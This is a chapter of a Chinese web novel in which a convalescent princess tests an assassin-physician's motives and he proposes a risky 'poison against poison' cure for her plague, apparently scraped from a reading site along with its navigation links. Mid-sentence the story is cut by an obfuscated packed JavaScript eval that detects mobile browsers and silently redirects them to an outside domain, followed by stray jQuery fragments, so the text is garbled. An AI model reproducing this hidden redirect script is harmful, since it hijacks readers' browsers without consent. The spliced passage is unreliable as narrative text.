默认冷灰
24号文字
方正启体

27. 第 27 章

作者:洇禾本书字数:K更新时间:
    眼见闹剧收场,裴时逾也不再多作停留,朝沈栀禾俯身作揖,行礼告退。


    彼时窗外的夜色如同浓稠的墨汁,正无声无息地晕染开来,淹没了白日里喧嚣的亭台楼阁。


    而青年背对着盈盈月色,在朦胧光影下淡声开口,端着一派君子模样,温声嘱咐她好生休息。


    “嗯。”少女平静应声。


    两人行为举止得当,江以绥的视线却仍旧落在他们身上,他像是洞察出了两人之间的暗流涌动,望向少女时眼底的情绪意味不明。


    季漾却不觉有他,待门扉在身后轻轻合拢,隔绝了那道挺拔的身影后便匆忙开口求证:“殿下,你方才的意思是说,云琅是害你染上瘟疫的幕后黑手吗?”


    少女点头,嗓音里还夹杂些许病中的沙哑:“她在我的住处动了手脚,放了些不干净的病源之物。”


    说完她又见季漾作势要翻箱倒柜的样子,补充道:“别担心,裴时逾已经处理好了。”


    季漾:“那卑职明日遣人将这里的东西都重新装潢一下,以免有遗漏之处。”


    沈栀禾:“好。”


    她随后又将目光转了过来,对着江以绥,开口询问关于冯从海蛊毒一事。


    青年下颌微收,算是无声的致意,他的声音低沉而平稳,带着一种令人信服的沉静:“草民已经着手配完药了,今日黄昏时分遣人送去的暗牢,相信明日例行把脉时很快就会见效。”


    事情都在朝好的方向发展,沈栀禾悬着的心也告了一段落,温柔应声:“如果缺什么药草的话可以和疏月说,她手里有我的令牌。”


    “见牌即见我,从长京而来的侍卫都会给你行方便。”


    江以绥点头,比起这个他显然更关心少女的病情。他静默了一瞬,目光落在沈栀禾略显苍白、透着倦意的脸上,那层温婉的笑意似乎也掩盖不住深处的虚弱。


    “殿下,”他开口,声音比方才更低柔了几分,却依旧平稳,“冯大人的事既已安排妥当,草民斗胆,为殿下请脉。”


    少女端坐在软榻之上,视线在江以绥和季漾二人之间来回流转,薄唇轻抿,嗓音平静:“你们达成的条件是什么?”


    还不待季漾开口,江以绥却从喉间溢出了一声轻笑:“在殿下心中,我就是如此无情无义之人吗?”


    沈栀禾不解:“此话怎讲?”


    “常言道天下兴亡,匹夫有责。”他正了神色,眉眼低垂,说这话时语气都认真了几分:“既然殿下是真心实意要救这扬州百姓于水火之中,那草民也愿出几分微薄之力,助殿下大业将成。”


    他言之凿凿,少女都被他这般大义凛然的态度弄的怔愣了一下。毕竟“无利不起早”的原则才符合一个惯于在刀尖舔血、行事只凭喜好和利益的江湖刺客的形象。


    室内烛火摇曳,微弱的光芒映照出沈栀禾沉静的双眸。她在默然几秒后才给出了反应,少女唇角极轻微地向上牵动了一下,那笑容并非温婉,也非讥讽,更像是一种带着探究和审视的意味。


    “本宫曾经差人详细调查过你们这批江湖刺客,包括户籍,出身以及过往经历。”她岔开了话题,答非所问道:“其中,有近半之人,并非我大邺子民。”


    她的目光在江以绥脸上停顿了一下,带着洞悉的意味:“而你,亦是其中之一。”


    “所以本宫很想知道:江公子心血来潮,忽生的报国之志所求为何?”


    托云琅的福,沈栀禾的身子现在经不起一点折腾,她不得不对近身之人多生几分防备,哪怕是心存好意的江以绥。


    烛火在她清冷的质问中不安地跳跃着,将室内对峙的阴影拉得忽长忽短。


    但青年静静地听着,脸上并未因她直白的揭底和质疑而浮现丝毫愠怒或窘迫。他甚至在她话音落下后,唇角还极浅地向上弯了一下。


    “殿下明察秋毫。”他开口,声音依旧低沉平稳,却似乎多了几分难以言喻的复杂意味:“长京非我故土,确为实情。江湖传言“无利不往”,也未必全是虚言。”


    他的目光坦然地迎上沈栀禾审视的视线,那双深邃的眸子里,此刻清晰地映着微弱的灯火和她苍白的容颜。


    “所以殿下所言“报国大义”,江某不敢妄称。”他微微摇头,语气带着一种近乎冷酷的清醒:“我非圣贤,也无意做那等忧国忧民的仁人志士。”


    闻言,沈栀禾的指尖在袖中悄然收紧。


    江以绥的话却还在继续,只不过比起上文,他现在的话语里明显夹杂了些沉甸甸分量的东西:“但草民行走江湖,穿行市井,见得最多的——不过是挣扎求生的普通人。”


    “农夫、商贩、工匠、妇人稚子……他们不懂庙堂之高,不晓江湖之远。他们所求的:不过是一隅安身,一口饱饭,一场无灾无病。”


    他的视线仿佛穿透了眼前的墙壁,落在了更广阔的、被瘟疫阴影笼罩的扬州城。


    “疫病肆虐之时,病榻之上呻吟辗转的世人,从来不分国界户籍,亦不论王侯庶民。”这句话他说的很慢,每一个字都带着一种切肤般的沉重感,仿佛那是他亲眼所见、亲身所感的烙印。


    “草民一身所学,毒可杀人,医……或可救人。”他顿了顿,目光重新聚焦在沈栀禾身上,那份沉重感并未消失,反而更加清晰:“殿下欲救这一城生灵,无论出于何种考量,这份“跃跃欲试”的责任心,本身便值得草民出手一试。”


    他微微倾身,姿态依旧恭敬,眼神却锐利如淬毒的银针,直刺核心:“殿下既知草民底细,便当明白,草民行事,有时确实只为“兴之所至”。”


    “如今满城哀鸿遍野,而殿下的决心恰好点燃了草民心中那点“兴致”。这理由,不知殿下可愿信服?”


    沈栀禾定定地看着他,烛光在她眼中明明灭灭。


    短暂的沉默后,少女轻轻呼出一口气,指尖也在袖中悄然松开。她目光依旧清亮,却少了几分方才的咄咄逼人。


    “既然江公子有此“兴致”,”她微微颔首,目光落在江以绥身上,带着一种重新审视的意味,“那本宫这病弱之躯,便有劳了。”


    青年依言上前几步,在软榻旁一个既不过分亲近、又能清晰诊脉的距离站定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538321|186440||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。他朝着少女微微躬身,姿态恭敬却带着一种不容置喙的从容:“草民僭越。”


    少女平静地伸出自己搁在软榻扶手上的手腕,她的腕骨纤细,皮肤苍白得近乎没有血色,青色的脉络在薄薄的肌肤下清晰可见,透着一股令人心揪的脆弱。


    江以绥并未立刻搭上,而是先用左手从布囊中取出一个精巧的玉扣,轻轻扣在沈栀禾的手腕上方寸许的位置,那玉扣温润,似乎并无特殊。


    “此物可引气血,便于诊查细微。”他简短地解释了一句,声音低沉平稳,不带任何情绪。


    沈栀禾只觉腕上传来一丝微凉的触感,并无不适。她微微点头,示意知晓。


    江以绥这才伸出覆着透明丝绢的右手食指和中指,轻轻搭在了少女的脉搏之上。他的指尖微凉,隔着那层奇特的丝绢,触感异常清晰。


    室内再次陷入一片寂静,只剩下烛火燃烧的细微噼啪声,以及三人几乎微不可闻的呼吸声。


    季漾屏息凝神,紧张地注视着江以绥的表情,试图从中读出任何关于沈栀禾病情的端倪。


    而少女则一副闭目养神的模样,长长的睫羽在苍白的脸颊上投下淡淡的阴影,任由那带着奇异凉意的指尖探寻着自己身体的状况。


    许是病情太过棘手,青年神情都变得严肃了起来,他凝着眉头,指腹也在微微用力,抬眼看向沈栀禾时,那双深邃的眸子里都映着此刻清晰跳动的烛火,以及一丝凝重。


    “殿下,”他嗓音低沉,带着化不开的厚重:“你这种心口郁闷的症状持续多久了?”


    “一周有余。”她整个人都靠在软枕上,回答他的问题时喉间还偶尔会冒出几声咳嗽,呛得少女以帕掩住了口鼻:“怎么了,这个不是因为瘟疫引起的?”


    “不是。”他动作麻利的将玉扣往回收:“殿下只是劳损过多,气血不足才引起了身体不适。”


    “至于瘟疫,”青年将目光重新落回至沈栀禾脸上,语气中透出一种破釜沉舟般的决断:“殿下脉象虚浮无力,沉取时涩滞难行,寻常温补祛邪之法,已是杯水车薪,故江某想行非常之法。”


    “非常之法?”沈栀禾捕捉到他话中的关键,眸色深沉。


    “是。”江以绥点头,眼神锐利如刀,“以毒攻毒,引火归源。”


    “以毒攻毒?”季漾倒吸一口凉气,难以置信地看着江以绥。这四个字本身就带着浓重的危险气息。


    青年语气微沉,带着一丝不易察觉的锐利:“殿下身体内的疫气已侵入五脏六腑,若强行堵截,堤坝必溃;若一味疏导,又恐力有不逮,反被其吞噬。”


    “所以草民想寻一味至阳至烈之“毒引”,以其为火种,将殿下身体内深伏的疫气彻底点燃、引出,再辅以猛药疏导,方有一线生机,将其彻底拔除。”


    沈栀禾:“成功率是多少?”


    “九死一生。”他顿了顿继续补充道:“此法凶险异常,如履薄冰,行差踏错一步都会导致满盘皆输。”


    “所以这是一场投掷生死的豪赌。”


    赢则浴火重生,输则油尽灯枯。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)